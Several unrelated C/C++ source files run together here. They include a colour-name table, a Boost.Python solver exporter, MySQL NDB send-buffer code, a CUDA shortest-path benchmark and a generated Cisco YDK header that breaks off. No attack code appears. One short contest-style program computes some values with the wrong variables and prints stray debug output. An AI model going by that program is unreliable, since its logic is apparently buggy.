220, 220, 220); COLORINSERT("ghostwhite", 248, 248, 255); COLORINSERT("gold", 255, 215, 0); COLORINSERT("goldenrod", 218, 165, 32); COLORINSERT("gray", 128, 128, 128); COLORINSERT("green", 0, 128, 0); COLORINSERT("greenyellow", 173, 255, 47); COLORINSERT("grey", 128, 128, 128); COLORINSERT("honeydew", 240, 255, 240); COLORINSERT("hotpink", 255, 105, 180); COLORINSERT("indianred", 205, 92, 92); COLORINSERT("indigo", 75, 0, 130); COLORINSERT("ivory", 255, 255, 240); COLORINSERT("khaki", 240, 230, 140); COLORINSERT("lavender", 230, 230, 250); COLORINSERT("lavenderblush", 255, 240, 245); COLORINSERT("lawngreen", 124, 252, 0); COLORINSERT("lemonchiffon", 255, 250, 205); COLORINSERT("lightblue", 173, 216, 230); COLORINSERT("lightcoral", 240, 128, 128); COLORINSERT("lightcyan", 224, 255, 255); COLORINSERT("lightgoldenrodyellow", 250, 250, 210); COLORINSERT("lightgray", 211, 211, 211); COLORINSERT("lightgreen", 144, 238, 144); COLORINSERT("lightgrey", 211, 211, 211); COLORINSERT("lightpink", 255, 182, 193); COLORINSERT("lightsalmon", 255, 160, 122); COLORINSERT("lightseagreen", 32, 178, 170); COLORINSERT("lightskyblue", 135, 206, 250); COLORINSERT("lightslategray", 119, 136, 153); COLORINSERT("lightslategrey", 119, 136, 153); COLORINSERT("lightsteelblue", 176, 196, 222); COLORINSERT("lightyellow", 255, 255, 224); COLORINSERT("lime", 0, 255, 0); COLORINSERT("limegreen", 50, 205, 50); COLORINSERT("linen", 250, 240, 230); COLORINSERT("magenta", 255, 0, 255); COLORINSERT("maroon", 128, 0, 0); COLORINSERT("mediumaquamarine", 102, 205, 170); COLORINSERT("mediumblue", 0, 0, 205); COLORINSERT("mediumorchid", 186, 85, 211); COLORINSERT("mediumpurple", 147, 112, 219); COLORINSERT("mediumseagreen", 60, 179, 113); COLORINSERT("mediumslateblue", 123, 104, 238); COLORINSERT("mediumspringgreen", 0, 250, 154); COLORINSERT("mediumturquoise", 72, 209, 204); COLORINSERT("mediumvioletred", 199, 21, 133); COLORINSERT("midnightblue", 25, 25, 112); COLORINSERT("mintcream", 245, 255, 250); COLORINSERT("mistyrose", 255, 228, 225); COLORINSERT("moccasin", 255, 228, 181); COLORINSERT("navajowhite", 255, 222, 173); COLORINSERT("navy", 0, 0, 128); COLORINSERT("oldlace", 253, 245, 230); COLORINSERT("olive", 128, 128, 0); COLORINSERT("olivedrab", 107, 142, 35); COLORINSERT("orange", 255, 165, 0); COLORINSERT("orangered", 255, 69, 0); COLORINSERT("orchid", 218, 112, 214); COLORINSERT("palegoldenrod", 238, 232, 170); COLORINSERT("palegreen", 152, 251, 152); COLORINSERT("paleturquoise", 175, 238, 238); COLORINSERT("palevioletred", 219, 112, 147); COLORINSERT("papayawhip", 255, 239, 213); COLORINSERT("peachpuff", 255, 218, 185); COLORINSERT("peru", 205, 133, 63); COLORINSERT("pink", 255, 192, 203); COLORINSERT("plum", 221, 160, 221); COLORINSERT("powderblue", 176, 224, 230); COLORINSERT("purple", 128, 0, 128); COLORINSERT("red", 255, 0, 0); COLORINSERT("rosybrown", 188, 143, 143); COLORINSERT("royalblue", 65, 105, 225); COLORINSERT("saddlebrown", 139, 69, 19); COLORINSERT("salmon", 250, 128, 114); COLORINSERT("sandybrown", 244, 164, 96); COLORINSERT("seagreen", 46, 139, 87); COLORINSERT("seashell", 255, 245, 238); COLORINSERT("sienna", 160, 82, 45); COLORINSERT("silver", 192, 192, 192); COLORINSERT("skyblue", 135, 206, 235); COLORINSERT("slateblue", 106, 90, 205); COLORINSERT("slategray", 112, 128, 144); COLORINSERT("slategrey", 112, 128, 144); COLORINSERT("snow", 255, 250, 250); COLORINSERT("springgreen", 0, 255, 127); COLORINSERT("steelblue", 70, 130, 180); COLORINSERT("tan", 210, 180, 140); COLORINSERT("teal", 0, 128, 128); COLORINSERT("thistle", 216, 191, 216); COLORINSERT("tomato", 255, 99, 71); COLORINSERT("turquoise", 64, 224, 208); COLORINSERT("violet", 238, 130, 238); COLORINSERT("wheat", 245, 222, 179); COLORINSERT("white", 255, 255, 255); COLORINSERT("whitesmoke", 245, 245, 245); COLORINSERT("yellow", 255, 255, 0); COLORINSERT("yellowgreen", 154, 205, 50); } // ---------------------------------------------------------------------- // Convert a blend name to a blend value // Returns kFmiColorRuleMissing if the color name is undefined // ---------------------------------------------------------------------- NFmiColorTools::NFmiBlendRule NFmiColorTools::BlendValue(const string &theName) { BlendNamesInit(); // Search for the string map::iterator iter; iter = itsBlendNames.find(theName); if (iter == itsBlendNames.end()) return kFmiColorRuleMissing; else return iter->second; } // ---------------------------------------------------------------------- // Convert a blend rule to a blend name // Returns a MissingBlendName if the name is unknown // ---------------------------------------------------------------------- const string NFmiColorTools::BlendName(const NFmiColorTools::NFmiBlendRule &theRule) { BlendNamesInit(); // Search for the blend value map::iterator iter; for (iter = itsBlendNames.begin(); iter != itsBlendNames.end(); ++iter) { if (iter->second == theRule) return iter->first; } static const string MissingBlendName = string(""); return MissingBlendName; } // ---------------------------------------------------------------------- // Initialize table of Porter-Duff blending rule names // See the header file for the respective enum // ---------------------------------------------------------------------- void NFmiColorTools::BlendNamesInit(void) { // Abort if already initialized if (!itsBlendNames.empty()) return; #define BLENDINSERT(N, B) itsBlendNames.insert(make_pair(string(N), B)) BLENDINSERT("Clear", kFmiColorClear); BLENDINSERT("Copy", kFmiColorCopy); BLENDINSERT("Keep", kFmiColorKeep); BLENDINSERT("Over", kFmiColorOver); BLENDINSERT("Under", kFmiColorUnder); BLENDINSERT("In", kFmiColorIn); BLENDINSERT("KeepIn", kFmiColorKeepIn); BLENDINSERT("Out", kFmiColorOut); BLENDINSERT("KeepOut", kFmiColorKeepOut); BLENDINSERT("Atop", kFmiColorAtop); BLENDINSERT("KeepAtop", kFmiColorKeepAtop); BLENDINSERT("Xor", kFmiColorXor); BLENDINSERT("Plus", kFmiColorPlus); #ifdef IMAGINE_WITH_CAIRO // Take "OnOpaque" as "Copy" for Cairo; used in selftests // BLENDINSERT("OnOpaque", kFmiColorCopy); #else BLENDINSERT("Minus", kFmiColorMinus); BLENDINSERT("Add", kFmiColorAdd); BLENDINSERT("Substract", kFmiColorSubstract); BLENDINSERT("Multiply", kFmiColorMultiply); BLENDINSERT("Difference", kFmiColorDifference); BLENDINSERT("CopyRed", kFmiColorCopyRed); BLENDINSERT("CopyGreen", kFmiColorCopyGreen); BLENDINSERT("CopyBlue", kFmiColorCopyBlue); BLENDINSERT("CopyMatte", kFmiColorCopyMatte); BLENDINSERT("CopyHue", kFmiColorCopyHue); BLENDINSERT("CopyLightness", kFmiColorCopyLightness); BLENDINSERT("CopySaturation", kFmiColorCopySaturation); BLENDINSERT("KeepMatte", kFmiColorKeepMatte); BLENDINSERT("KeepHue", kFmiColorKeepHue); BLENDINSERT("KeepLightness", kFmiColorKeepLightness); BLENDINSERT("KeepSaturation", kFmiColorKeepSaturation); BLENDINSERT("Bumpmap", kFmiColorBumpmap); BLENDINSERT("Dentmap", kFmiColorDentmap); BLENDINSERT("AddContrast", kFmiColorAddContrast); BLENDINSERT("ReduceContrast", kFmiColorReduceContrast); BLENDINSERT("OnOpaque", kFmiColorOnOpaque); BLENDINSERT("OnTransparent", kFmiColorOnTransparent); #endif } } // namespace Imagine //====================================================================== #ifndef TRWS_EXTERNAL_PARAM #define TRWS_EXTERNAL_PARAM #include "param_exporter_base.hxx" //solver specific #include using namespace boost::python; template class InfParamExporterTrwsExternal{ public: typedef typename INFERENCE::ValueType ValueType; typedef typename INFERENCE::Parameter Parameter; typedef InfParamExporterTrwsExternal SelfType; static void set ( Parameter & p, const size_t numberOfIterations, const bool useRandomStart, const bool useZeroStart, const bool doBPS, typename Parameter::EnergyType energyType, const double tolerance ) { p.numberOfIterations_=numberOfIterations; p.useRandomStart_=useRandomStart; p.useZeroStart_=useZeroStart; p.doBPS_=doBPS; p.energyType_=energyType; p.tolerance_=tolerance; } void static exportInfParam(const std::string & className){ class_ ( className.c_str(),init<>()) .def ("set", &SelfType::set, ( boost::python::arg("steps")=1000, boost::python::arg("useRandomStart")=false, boost::python::arg("useZeroStart")=false, boost::python::arg("doBPS")=false, boost::python::arg("energyType")=Parameter::VIEW, boost::python::arg("tolerance")=double(0.0) ) ) .def_readwrite("steps", &Parameter::numberOfIterations_, "number of iterations") .def_readwrite("useRandomStart", &Parameter::useRandomStart_, "use a random starting point") .def_readwrite("useZeroStart", &Parameter::useZeroStart_, "use zero als label for all variables as starting point") .def_readwrite("doBPS", &Parameter::doBPS_, "use BPS while inference") .def_readwrite("energyType", &Parameter::energyType_, "type of the value table :\n\n" " - ``'view'`` : view to an existing value table\n\n" " - ``'tables'`` : copy to dense value tables\n\n" " - ``'tl1'`` : l1 value table\n\n" " - ``'tl2'`` : l2 value table" ) .def_readwrite("tolerance", &Parameter::tolerance_, "termination criterion") ; } }; template class InfParamExporter > : public InfParamExporterTrwsExternal > { }; #endif#include using namespace std; int main() { int A, B, C, D, P, M, G; cin >> A >> B >> C >> D >> P >> M >> G; bool PA = false, PC = false, MA = false, MC = false, GA = false, GC = false; int AB_before_P = P / (A + B), AB_before_M = M / (A + B), AB_before_G = G / (A + B); int CD_before_P = P / (C + D), CD_before_M = M / (C + D), CD_before_G = G / (C + D); int Pa = P - AB_before_G * (A + B), Pc = P - CD_before_P; if(Pa - A <= 0) PA = true; if(Pc - C <= 0) PC = true; int Ma = M - AB_before_M * (A + B), Mc = M - CD_before_M; if(Ma - A <= 0) MA = true; if(Mc - C <= 0) MC = true; int Ga = G - AB_before_G * (A + B), Gc = G - CD_before_G; if(Ga - A <= 0) GA = true; if(Gc - C <= 0) GC = true; if(PA && PC) cout << "both" << endl; else if(PA || PC) cout << "one" << endl; else cout << "none" << endl; if(MA && MC) cout << "both" << endl; else if(MA || MC) cout << "one" << endl; else cout << "none" << endl; cout << Ga << '-' << A << ' ' << Gc << '-' << C << endl; if(GA && GC) cout << "both"; else if(GA || GC) cout << "one"; else cout << "none"; }0 // surface.hxx #pragma once #include #include #include #include #include "geometry.hxx" namespace same { namespace ui { struct SurfaceImpl { virtual geometry::Box box() const = 0; virtual HDC getDC() const = 0; }; using ImplPtr = std::shared_ptr; class Surface; using SurfacePtr = std::shared_ptr; class Surface { public: static auto create(geometry::Size const & size)->SurfacePtr; static auto fromBitmapFile(std::string const & fileName)->SurfacePtr; static auto fromBitmapResource(HINSTANCE instanceHandle, WORD resourceId)->SurfacePtr; static auto onPaint(HWND windowHandle, PAINTSTRUCT & paintStruct)->SurfacePtr; geometry::Box box() const { return impl_->box(); } HDC getDC() const { return impl_->getDC(); } void paint(COLORREF color); void blitTo(Surface& surface) const; void blitTo(Surface& surface, geometry::Point const&) const; auto view(geometry::Box const & box) const->SurfacePtr; private: template static auto create(Args && ... args)->SurfacePtr { ImplPtr impl(new T(std::forward(args) ...)); SurfacePtr surface(new Surface(impl)); return surface; } explicit Surface(ImplPtr impl) : impl_ { impl } {} private: ImplPtr impl_; }; } } vusec/firestarterapps/mysql-5.1.65/storage/ndb/src/common/transporter/SendBuffer.cpp /* Copyright (C) 2003 MySQL AB This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include "SendBuffer.hpp" #include "TransporterInternalDefinitions.hpp" SendBuffer::SendBuffer(Uint32 bufSize) { sizeOfBuffer = bufSize; if(sizeOfBuffer < MAX_MESSAGE_SIZE) sizeOfBuffer = 2 * MAX_MESSAGE_SIZE; startOfBuffer = NULL; // Initalise pointers endOfBuffer = NULL; insertPtr = NULL; sendPtr = NULL; sendDataSize = 0; dataSize = 0; } bool SendBuffer::initBuffer(Uint32 aRemoteNodeId) { // Allocate memory for the buffer #ifdef DEBUG_TRANSPORTER ndbout << "Allocating " << sizeOfBuffer << " bytes for send buffer" << endl; #endif startOfBuffer = new Uint32[(sizeOfBuffer >> 2) + 1]; endOfBuffer = startOfBuffer + (sizeOfBuffer >> 2); emptyBuffer(); theRemoteNodeId = aRemoteNodeId; return true; } SendBuffer::~SendBuffer() { // Deallocate the buffer memory if(startOfBuffer != NULL) delete[] startOfBuffer; } int SendBuffer::bufferSize() { return dataSize; } Uint32 SendBuffer::bufferSizeRemaining() const { return (sizeOfBuffer - dataSize); } void SendBuffer::emptyBuffer() { insertPtr = startOfBuffer; sendPtr = (char*)startOfBuffer; dataSize = 0; sendDataSize = 0; } #ifdef DEBUG_TRANSPORTER void SendBuffer::print() { printf("SendBuffer status printouts\n"); printf( "sizeOfBuffer: %d\n", sizeOfBuffer); printf( "startOfBuffer: %.8x\n", startOfBuffer); printf( "endOfBuffer: %.8x\n", endOfBuffer); printf( "insertPtr: %.8x\n", insertPtr); printf( "sendPtr: %.8x\n", sendPtr); printf( "sendDataSize: %d\n", sendDataSize); printf( "dataSize: %d\n", dataSize); } #endif /* * Copyright (c) 2016 University of Cordoba and University of Illinois * All rights reserved. * * Developed by: IMPACT Research Group * University of Cordoba and University of Illinois * http://impact.crhc.illinois.edu/ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * with the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * > Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimers. * > Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimers in the * documentation and/or other materials provided with the distribution. * > Neither the names of IMPACT Research Group, University of Cordoba, * University of Illinois nor the names of its contributors may be used * to endorse or promote products derived from this Software without * specific prior written permission. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH * THE SOFTWARE. * */ #include "kernel.h" #include "support/common.h" #include "support/verify.h" #include #include #include /*extern "C" { void m5_work_begin(int workid, uint64_t threadid); void m5_work_end(uint64_t workid, uint64_t threadid); }*/ // Params --------------------------------------------------------------------- struct Params { int device; int n_gpu_threads; int n_gpu_blocks; int n_threads; int n_warmup; int n_reps; const char *file_name; const char *comparison_file; int switching_limit; Params(int argc, char **argv) { device = 0; n_gpu_threads = 256; n_gpu_blocks = 8; n_threads = 2; n_warmup = 0; n_reps = 1; file_name = "input/NYR_input.dat"; comparison_file = "output/NYR_bfs.out"; switching_limit = 128; int opt; while((opt = getopt(argc, argv, "hd:i:g:t:w:r:f:c:l:")) >= 0) { switch(opt) { case 'h': usage(); exit(0); break; case 'd': device = atoi(optarg); break; case 'i': n_gpu_threads = atoi(optarg); break; case 'g': n_gpu_blocks = atoi(optarg); break; case 't': n_threads = atoi(optarg); break; case 'w': n_warmup = atoi(optarg); break; case 'r': n_reps = atoi(optarg); break; case 'f': file_name = optarg; break; case 'c': comparison_file = optarg; break; case 'l': switching_limit = atoi(optarg); break; default: fprintf(stderr, "\nUnrecognized option!\n"); usage(); exit(0); } } assert(n_gpu_threads > 0 && "Invalid # of device threads!"); assert(n_gpu_blocks > 0 && "Invalid # of device blocks!"); assert(n_threads > 0 && "Invalid # of host threads!"); } void usage() { fprintf(stderr, "\nUsage: ./sssp [options]" "\n" "\nGeneral options:" "\n -h help" "\n -d CUDA device ID (default=0)" "\n -i # of device threads per block (default=256)" "\n -g # of device blocks (default=8)" "\n -t # of host threads (default=2)" "\n -w # of untimed warmup iterations (default=1)" "\n -r # of timed repetition iterations (default=1)" "\n" "\nBenchmark-specific options:" "\n -f name of input file with control points (default=input/NYR_input.dat)" "\n -c comparison file (default=output/NYR_bfs_BFS.out)" "\n -l switching limit (default=128)" "\n"); } }; // Input Data ----------------------------------------------------------------- void read_input_size(int &n_nodes, int &n_edges, const Params &p) { FILE *fp = fopen(p.file_name, "r"); fscanf(fp, "%d", &n_nodes); fscanf(fp, "%d", &n_edges); if(fp) fclose(fp); } void read_input(int &source, Node *&h_nodes, Edge *&h_edges, const Params &p) { int start, edgeno; int n_nodes, n_edges; int id, cost; FILE *fp = fopen(p.file_name, "r"); fscanf(fp, "%d", &n_nodes); fscanf(fp, "%d", &n_edges); fscanf(fp, "%d", &source); printf("Number of nodes = %d\t", n_nodes); printf("Number of edges = %d\t", n_edges); // initalize the memory: Nodes for(int i = 0; i < n_nodes; i++) { fscanf(fp, "%d %d", &start, &edgeno); h_nodes[i].x = start; h_nodes[i].y = edgeno; } #if PRINT_ALL for(int i = 0; i < n_nodes; i++) { printf("%d, %d\n", h_nodes[i].x, h_nodes[i].y); } #endif // initalize the memory: Edges for(int i = 0; i < n_edges; i++) { fscanf(fp, "%d", &id); fscanf(fp, "%d", &cost); h_edges[i].x = id; h_edges[i].y = -cost; } if(fp) fclose(fp); } // Main ------------------------------------------------------------------------------------------ int main(int argc, char **argv) { const Params p(argc, argv); cudaError_t cudaStatus; // Allocate int n_nodes, n_edges; read_input_size(n_nodes, n_edges, p); Node * h_nodes = (Node *)malloc(sizeof(Node) * n_nodes); Node * d_nodes; cudaStatus = cudaMalloc((void**)&d_nodes, sizeof(Node) * n_nodes); Edge * h_edges = (Edge *)malloc(sizeof(Edge) * n_edges); Edge * d_edges; cudaStatus = cudaMalloc((void**)&d_edges, sizeof(Edge) * n_edges); std::atomic_int *h_color = (std::atomic_int *)malloc(sizeof(std::atomic_int) * n_nodes); int * d_color; cudaStatus = cudaMalloc((void**)&d_color, sizeof(int) * n_nodes); std::atomic_int *h_cost = (std::atomic_int *)malloc(sizeof(std::atomic_int) * n_nodes); int * d_cost; cudaStatus = cudaMalloc((void**)&d_cost, sizeof(int) * n_nodes); int * h_q1 = (int *)malloc(n_nodes * sizeof(int)); int * d_q1; cudaStatus = cudaMalloc((void**)&d_q1, sizeof(int) * n_nodes); int * h_q2 = (int *)malloc(n_nodes * sizeof(int)); int * d_q2; cudaStatus = cudaMalloc((void**)&d_q2, sizeof(int) * n_nodes); std::atomic_int h_head[1]; int * d_head; cudaStatus = cudaMalloc((void**)&d_head, sizeof(int)); std::atomic_int h_tail[1]; int * d_tail; cudaStatus = cudaMalloc((void**)&d_tail, sizeof(int)); std::atomic_int h_threads_end[1]; int * d_threads_end; cudaStatus = cudaMalloc((void**)&d_threads_end, sizeof(int)); std::atomic_int h_threads_run[1]; int * d_threads_run; cudaStatus = cudaMalloc((void**)&d_threads_run, sizeof(int)); int h_num_t[1]; int * d_num_t; cudaStatus = cudaMalloc((void**)&d_num_t, sizeof(int)); int h_overflow[1]; int * d_overflow; cudaStatus = cudaMalloc((void**)&d_overflow, sizeof(int)); std::atomic_int h_gray_shade[1]; int * d_gray_shade; cudaStatus = cudaMalloc((void**)&d_gray_shade, sizeof(int)); std::atomic_int h_iter[1]; int * d_iter; cudaStatus = cudaMalloc((void**)&d_iter, sizeof(int)); cudaThreadSynchronize(); CUDA_ERR(); ALLOC_ERR(h_nodes, h_edges, h_color, h_cost, h_q1, h_q2); // Initialize int source; read_input(source, h_nodes, h_edges, p); for(int i = 0; i < n_nodes; i++) { h_cost[i].store(INF); } h_cost[source].store(0); for(int i = 0; i < n_nodes; i++) { h_color[i].store(WHITE); } h_tail[0].store(0); h_head[0].store(0); h_threads_end[0].store(0); h_threads_run[0].store(0); h_q1[0] = source; h_iter[0].store(0); h_overflow[0] = 0; h_gray_shade[0].store(GRAY0); // Copy to device cudaStatus = cudaMemcpy(d_nodes, h_nodes, sizeof(Node) * n_nodes, cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy(d_edges, h_edges, sizeof(Edge) * n_edges, cudaMemcpyHostToDevice); cudaThreadSynchronize(); CUDA_ERR(); for(int rep = 0; rep < p.n_reps + p.n_warmup; rep++) { // Reset for(int i = 0; i < n_nodes; i++) { h_cost[i].store(INF); } h_cost[source].store(0); for(int i = 0; i < n_nodes; i++) { h_color[i].store(WHITE); } h_tail[0].store(0); h_head[0].store(0); h_threads_end[0].store(0); h_threads_run[0].store(0); h_q1[0] = source; h_iter[0].store(0); h_overflow[0] = 0; h_gray_shade[0].store(GRAY0); // Run first iteration in master CPU thread h_num_t[0] = 1; int pid; int index_i, index_o; for(index_i = 0; index_i < h_num_t[0]; index_i++) { pid = h_q1[index_i]; h_color[pid].store(BLACK); int cur_cost = h_cost[pid].load(); for(int i = h_nodes[pid].x; i < (h_nodes[pid].y + h_nodes[pid].x); i++) { int id = h_edges[i].x; int cost = h_edges[i].y; cost += cur_cost; h_cost[id].store(cost); h_color[id].store(GRAY0); index_o = h_tail[0].fetch_add(1); h_q2[index_o] = id; } } h_num_t[0] = h_tail[0].load(); h_tail[0].store(0); h_threads_run[0].fetch_add(1); h_gray_shade[0].store(GRAY1); h_iter[0].fetch_add(1); // Pointers to input and output queues int * h_qin = h_q2; int * h_qout = h_q1; int * d_qin = d_q2; int * d_qout = d_q1; const int CPU_EXEC = (p.n_threads > 0) ? 1 : 0; const int GPU_EXEC = (p.n_gpu_blocks > 0 && p.n_gpu_threads > 0) ? 1 : 0; //m5_work_begin(0, 0); // Run subsequent iterations on CPU or GPU until number of input queue elements is 0 while(*h_num_t != 0) { if((*h_num_t < p.switching_limit || GPU_EXEC == 0) && CPU_EXEC == 1) { // If the number of input queue elements is lower than switching_limit // Continue until switching_limit condition is not satisfied while((*h_num_t != 0) && (*h_num_t < p.switching_limit || GPU_EXEC == 0) && CPU_EXEC == 1) { // Swap queues if(h_iter[0] % 2 == 0) { h_qin = h_q1; h_qout = h_q2; } else { h_qin = h_q2; h_qout = h_q1; } std::thread main_thread(run_cpu_threads, h_nodes, h_edges, h_cost, h_color, h_qin, h_qout, h_num_t, h_head, h_tail, h_threads_end, h_threads_run, h_gray_shade, h_iter, p.n_threads, p.switching_limit, GPU_EXEC); main_thread.join(); h_num_t[0] = h_tail[0].load(); // Number of elements in output queue h_tail[0].store(0); h_head[0].store(0); if(h_iter[0].load() % 2 == 0) h_gray_shade[0].store(GRAY0); else h_gray_shade[0].store(GRAY1); } } else if((*h_num_t >= p.switching_limit || CPU_EXEC == 0) && GPU_EXEC == 1) { // If the number of input queue elements is higher than or equal to switching_limit cudaStatus = cudaMemcpy( d_cost, h_cost, sizeof(int) * n_nodes, cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_color, h_color, sizeof(int) * n_nodes, cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_threads_run, h_threads_run, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_threads_end, h_threads_end, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_overflow, h_overflow, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_q1, h_q1, sizeof(int) * n_nodes, cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_q2, h_q2, sizeof(int) * n_nodes, cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_iter, h_iter, sizeof(int), cudaMemcpyHostToDevice); cudaThreadSynchronize(); CUDA_ERR(); // Continue until switching_limit condition is not satisfied while((*h_num_t != 0) && (*h_num_t >= p.switching_limit || CPU_EXEC == 0) && GPU_EXEC == 1) { // Swap queues if(h_iter[0] % 2 == 0) { d_qin = d_q1; d_qout = d_q2; } else { d_qin = d_q2; d_qout = d_q1; } cudaStatus = cudaMemcpy( d_num_t, h_num_t, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_tail, h_tail, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_head, h_head, sizeof(int), cudaMemcpyHostToDevice); cudaStatus = cudaMemcpy( d_gray_shade, h_gray_shade, sizeof(int), cudaMemcpyHostToDevice); cudaThreadSynchronize(); CUDA_ERR(); cudaStatus = call_SSSP_gpu(p.n_gpu_blocks, p.n_gpu_threads, d_nodes, d_edges, d_cost, d_color, d_qin, d_qout, d_num_t, d_head, d_tail, d_threads_end, d_threads_run, d_overflow, d_gray_shade, d_iter, p.switching_limit, CPU_EXEC, sizeof(int) * (W_QUEUE_SIZE + 3)); cudaThreadSynchronize(); CUDA_ERR(); cudaStatus = cudaMemcpy( h_tail, d_tail, sizeof(int), cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_iter, d_iter, sizeof(int), cudaMemcpyDeviceToHost); cudaThreadSynchronize(); CUDA_ERR(); h_num_t[0] = h_tail[0].load(); // Number of elements in output queue h_tail[0].store(0); h_head[0].store(0); if(h_iter[0].load() % 2 == 0) h_gray_shade[0].store(GRAY0); else h_gray_shade[0].store(GRAY1); } cudaStatus = cudaMemcpy( h_cost, d_cost, sizeof(int) * n_nodes, cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_color, d_color, sizeof(int) * n_nodes, cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_threads_run, d_threads_run, sizeof(int), cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_threads_end, d_threads_end, sizeof(int), cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_overflow, d_overflow, sizeof(int), cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_q1, d_q1, sizeof(int) * n_nodes, cudaMemcpyDeviceToHost); cudaStatus = cudaMemcpy( h_q2, d_q2, sizeof(int) * n_nodes, cudaMemcpyDeviceToHost); cudaThreadSynchronize(); CUDA_ERR(); } } //m5_work_end(0, 0); } // end of iteration // Verify answer verify(h_cost, n_nodes, p.comparison_file); // Free memory free(h_nodes); free(h_edges); free(h_color); free(h_cost); free(h_q1); free(h_q2); cudaStatus = cudaFree(d_nodes); cudaStatus = cudaFree(d_edges); cudaStatus = cudaFree(d_cost); cudaStatus = cudaFree(d_color); cudaStatus = cudaFree(d_q1); cudaStatus = cudaFree(d_q2); cudaStatus = cudaFree(d_num_t); cudaStatus = cudaFree(d_head); cudaStatus = cudaFree(d_tail); cudaStatus = cudaFree(d_threads_end); cudaStatus = cudaFree(d_threads_run); cudaStatus = cudaFree(d_overflow); cudaStatus = cudaFree(d_iter); cudaStatus = cudaFree(d_gray_shade); CUDA_ERR(); cudaThreadSynchronize(); printf("Test Passed\n"); return 0; } #include "Behaviour/constraints/Tackle1402488939130Constraints.h" /*PROTECTED REGION ID(ch1402488939130) ENABLED START*/ // Add additional options here /*PROTECTED REGION END*/ namespace alica { // Behaviour:Tackle } src/commons/RangeFloat.cpp /* * RangeFloat.cpp * * Created on: 17 ago 2017 * Author: andrea */ #include #include #include RangeFloat::RangeFloat(float min, float max) : min(min), max(max) { } RangeFloat::~RangeFloat() { // TODO Auto-generated destructor stub } float RangeFloat::getCenter() { return (max + min)/2.0f; } float RangeFloat::getLength() { return max - min; } float RangeFloat::constraint(float v) { return v < min ? min : (v > max ? max : v); } float RangeFloat::convert(float v, RangeFloat& range) { float vf = float(range.constraint(v)); float result = (vf - range.getCenter())/range.getLength() * this->getLength() + this->getCenter(); return result; } bool RangeFloat::contains(float v) { return v >= min && v <= max; } #ifndef _CISCO_NX_OS_DEVICE_44_ #define _CISCO_NX_OS_DEVICE_44_ #include #include #include #include #include #include "Cisco_NX_OS_device_0.hpp" #include "Cisco_NX_OS_device_43.hpp" namespace cisco_nx_os { namespace Cisco_NX_OS_device { class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems : public ydk::Entity { public: OifItems(); ~OifItems(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; class OifList; //type: System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList ydk::YList oif_list; }; // System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems class System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList : public ydk::Entity { public: OifList(); ~OifList(); bool has_data() const override; bool has_operation() const override; std::vector > get_name_leaf_data() const override; std::string get_segment_path() const override; std::shared_ptr get_child_by_name(const std::string & yang_name, const std::string & segment_path) override; void set_value(const std::string & value_path, const std::string & value, const std::string & name_space, const std::string & name_space_prefix) override; void set_filter(const std::string & value_path, ydk::YFilter yfliter) override; std::map> get_children() const override; bool has_leaf_or_child_of_name(const std::string & name) const override; ydk::YLeaf oifname; //type: string ydk::YLeaf oifuptime; //type: string ydk::YLeaf oifrpf; //type: boolean ydk::YLeaf oiflispencapentries; //type: uint32 class LispencapItems; //type: System::M6ribItems::InstItems::DbItems::DbList::VrfItems::VrfList::GroupItems::GroupList::SourceItems::SourceList::OifItems::OifList::LispencapItems class OifmpibItems; //type: 